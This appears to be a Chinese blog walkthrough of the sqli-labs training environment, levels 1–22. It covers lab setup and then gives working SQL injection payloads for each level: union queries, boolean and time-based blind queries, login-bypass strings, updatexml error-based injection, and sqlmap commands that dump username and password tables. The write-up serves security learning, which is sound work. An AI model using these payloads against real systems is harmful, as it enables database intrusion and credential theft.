搭建过程
首先需要有小皮(phpstduy)
在github上下载源码文件,保存到www文件夹下,解压缩后找到sql-connections文件夹中的db-creds.inc文件,用记事本打开,添加密码为root
github源码下载处
之后在小皮上照着之前搭网站的流程进行配置,这里要注意需要将php版本设置为低版本,否则会有bug
之后打开网页即可
点击Setup/reset Database for labs设置数据库出现这个界面说明重置成功了,回到主界面,点击less1测试一下
至此搭建成功
1-22关过关wp
Less-1-字符型
根据提示,传参一个id给它
注入点输入?id=1 and 1=1和?id=1 and 1=2发现没有变化
接着尝试闭合
发现单引号闭合导致报错了,接下来判断注入方式
这里可以判断为字符型注入,接下来爆列数,一直试到报错为止
?id=1'order by 3 --+
发现到4的时候报错了说明列数为3,接下来爆出显示位,就是看看表格里面那一列是在页面显示的
?id=-1'union select 1,2,3--+
这里看出二三列都是显示的,接下来爆数据库名和版本名
?id=-1'union select 1,database(),version()--+
看到数据库时security,版本为5.5.29,接下来爆表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
可以看到有users接下来users里的爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
发现了账号密码,接着爆
?id=-1' union select 1,2,group_concat(username , password) from users--+
最后结果
Less-2-数字型
与第一关一样,先传参判断发现单引号闭合报错
再仔细观察,发现我们传的id=1的1没有被显示出来,根据搜索猜测是数字型注入,但是本质上还是和字符型差不多,所以流程也是一样的
?id=1 order by 3
查看列数,发现4报错,说明3列
查看显示位
?id=-1 union select 1,2,3
都是正常显示的,接着看数据库
?id=-1 union select 1,database(),version()
查询数据库内容
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
发现users,查看表名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
最后爆字段
?id=-1 union select 1,2,group_concat(username ,id , password) from users
Less-3-单引号字符型且有括号
常规流程走一遍,发现单引号闭合报错根据搜索得知这种sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
注入的时候只需要在字符型的基础上在单引号后面加上括号即可
?id=1')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
爆列数
确认为3列,判断回显
查数据库名
爆数据库
爆表名爆字段内容
Less-4-双引号字符型且有括号
常规流程走下来发现双引号报错根据查询,这种属于双引号字符型且有括号型注入,与上面单引号类似,将单引号改为双引号即可
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
Less-5-布尔盲注-字符型
根据判断页面回显发现是字符型注入,单引号闭合根据报错返回信息判断属于布尔盲注
整个注入过程只能根据是否报错回显来判断注入情况,所以这题不能用联合查询注入来做,因为页面没有回显信息,要采取布尔盲注的方法。
布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。
?id=1'and length((select database()))>8--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是sql那么length()就是3
判断数据库名称长度为8,接下来要爆数据库名称
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
根据查询ASCII码表对照下来,判断出数据库的名称…
接下来就是爆表名,爆字段的内容…
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
因为工作量过于庞大,所以布尔盲注一般采取sqlmap来解决
python sqlmap.py -u "http://sqli/Less-5/?id=1" --current-db
查数据库
爆表名
python sqlmap.py -u "http://sqli/Less-5/?id=1" -D security --tables
爆列名
python sqlmap.py -u "http://sqli/Less-5/?id=1" -D security -T users --columns
爆字段
python sqlmap.py -u "http://sqli/Less-5/?id=1" -D security -T users -C username,password --dump
Less-6-布尔盲注
判断类型,单引号双引号闭合都没信息
推断是布尔盲注,很费时间,用sqlmap了。。。
#查数据库
python sqlmap.py -u "http://sqli/Less-6/?id=1" --current-db
#爆表名
python sqlmap.py -u "http://sqli/Less-6/?id=1" -D security --tables
#爆列名
python sqlmap.py -u "http://sqli/Less-6/?id=1" -D security -T users --columns
#爆字段
python sqlmap.py -u "http://sqli/Less-6/?id=1" -D security -T users -C username,password --dump
Less-7-布尔盲注-字符括号型
正常流程,提示变了判断单引号闭合的时候,提示错误却隐藏报错信息
换为双引号时又正常了
根据搜索查询,这种属于是单引号破坏了原有的语法结构
输入
URL/?id=1'--+
发生报错,但同样隐藏报错信息
换为双引号又正常了,再试试单括号
依然报错,试试双括号
又正常了,推断属于布尔盲注范畴,依然sqlmap
#查数据库
python sqlmap.py -u "http://sqli/Less-7/?id=1" --current-db
#爆表名
python sqlmap.py -u "http://sqli/Less-7/?id=1" -D security --tables
#爆列名
python sqlmap.py -u "http://sqli/Less-7/?id=1" -D security -T users --columns
#爆字段
python sqlmap.py -u "http://sqli/Less-7/?id=1" -D security -T users -C username,password --dump
Less-8-依然布尔盲注
这道题与前面的相似,但是全程只有you are in…来判断,没了报错,所以采用sqlmap
#查数据库
python sqlmap.py -u "http://sqli/Less-8/?id=1" --current-db --batch
#爆表名
python sqlmap.py -u "http://sqli/Less-8/?id=1" -D security --tables --batch
#爆列名
python sqlmap.py -u "http://sqli/Less-8/?id=1" -D security -T users --columns --batch
#爆字段
python sqlmap.py -u "http://sqli/Less-8/?id=1" -D security -T users -C username,password --dump --batch
Less-9-时间盲注
这题在题目处已经标明是时间盲注,所以不管输入什么或者闭合方式都是一样的回显,需要利用sleep()函数
根据大佬的博客,需要构造下面的款式:
?id=1' and if(1=1,sleep(5),1)--+
判断数据库长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+
需要一直修改中间>后面的参数来判断长度,类似布尔盲注,不过这里是需要看回显时间,我试到9发现有了变化,说明数据库长度为8
逐一判断数据库名称
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
依然是人注要注死。。。。。。还是sqlmap吧
爆数据库
python sqlmap.py -u "http://sqli/Less-9/?id=1" --current-db --batch
爆表名
python sqlmap.py -u "http://sqli/Less-9/?id=1" -D security --tables --batch
爆列名
python sqlmap.py -u "http://sqli/Less-9/?id=1" -D security -T users --columns --batch
爆字段
python sqlmap.py -u "http://sqli/Less-9/?id=1" -D security -T users -C username,password --dump --batch
Less-10-依然时间盲注-双引号型
看题目名称得知是时间盲注,再判断是双引号型闭合,鉴于时间盲注人工注入庞大的工作量还是sqlmap把。。。。。。
#查数据库
python sqlmap.py -u "http://sqli/Less-10/?id=1" --current-db --batch
#爆表名
python sqlmap.py -u "http://sqli/Less-10/?id=1" -D security --tables --batch
#爆列名
python sqlmap.py -u "http://sqli/Less-10/?id=1" -D security -T users --columns --batch
#爆字段
python sqlmap.py -u "http://sqli/Less-10/?id=1" -D security -T users -C username,password --dump --batch
Less-11-登陆界面型(post型)
之前都是通过get传参进行注入,现在开始是post传参了
输入1时出现报错图片
而输入1’时返回报错信息
判断是字符型注入,根据报错信息可以推断该sql语句username=‘参数’ and password=‘参数’
这里就可以构造恒成立语句返回数据库信息
其实这就是假期学到的构造万能密码
1' or 1=1#
Less-12-万能密码-双引号括号型
一直试,直到双引号加括号
构造万能语句
1" ) or 1=1#
Less-13-恒成立语句-单引号括号型
这题与12关差不多,双引号换为单引号
1' ) or 1=1 #
Less-14-恒成立语句-双引号字符型
与第11关类似,只需要将单引号换为双引号
1 " or 1=1 #
Less-15-post型时间盲注-单引号
手工注依旧是基于以下结构
1' and if(1=1,sleep(5),1)--+
与get型的差不多,需要慢慢去试
最后发现就是单引号闭合型,构造恒等式
1' or 1=1#
Less-16-post型布尔盲注
这题属于没有回显,要自己去试,最后试出来是双引号括号型
Less-17-报错注入
这里界面发生变化了,是重置密码而且这关题目提示的也是error based(报错注入),两种方式:手注或者sqlmap梭哈
这里用手注,根据搜索查询和结合之前所学,采用报错注入
观察源代码漏洞点:$uname参数未过滤直接拼接到SQL语句
根据大佬的博客学习的报错注入:
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
爆字段名
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。
Less-18-报错注入
这里本打算sqlmap扫描了,确实对报错注入不是很愿意去手注
这关用sqlmap并不顺利,有waf过滤
观察界面根据查询,这里是头部请求注入,可以采用sqlmap,正好可以熟悉一下参数运用,所以就采用sqlmap了
首先先用bp抓包保存到本地
启动sqlmap,设置参数爆数据库
python sqlmap.py -r C:\Users\ASUS\Desktop\1.txt --level=3 --dbs --random-agent --batch
-r表示指定文件
–level=3这个等级会检测user-agent、referer是否含有注入
爆表名
python sqlmap.py -r C:\Users\ASUS\Desktop\1.txt --level=3 -D security --tables --random-agent --batch
爆列名
python sqlmap.py -r C:\Users\ASUS\Desktop\1.txt --level=3 -D security -T users --columns --random-agent --batch
爆字段
python sqlmap.py -r C:\Users\ASUS\Desktop\1.txt --level=3 -D security -T users -C username,password --dump --batch --random-agent
Less-19-基于http头报错注入
先学会用sqlmap解决,老样子先抓包保存本地
测试了一下,可以用sqlmap解决,甚至指令与18关一样
Less-20-cookie型
当输入正确页面时候cookie字段显示在页面上,进行抓包和注入
其余的注入就只用换换要查询的东西就可以了
Less-21-cookie-base64编码型
第二十一关和二十关很像,唯一不一样就是cookie哪里不是账户名而是一串字符
看到两个==结尾立马就想到是base64编码,其余的与上一关一样,根据大佬的博客,用报错注入的方式,先将sql语句编码再传上去
前面都是这个过程
Less-22-cookie-双引号base64编码型
与第21关高度相似,单引号换为双引号之后用bp上传就可以了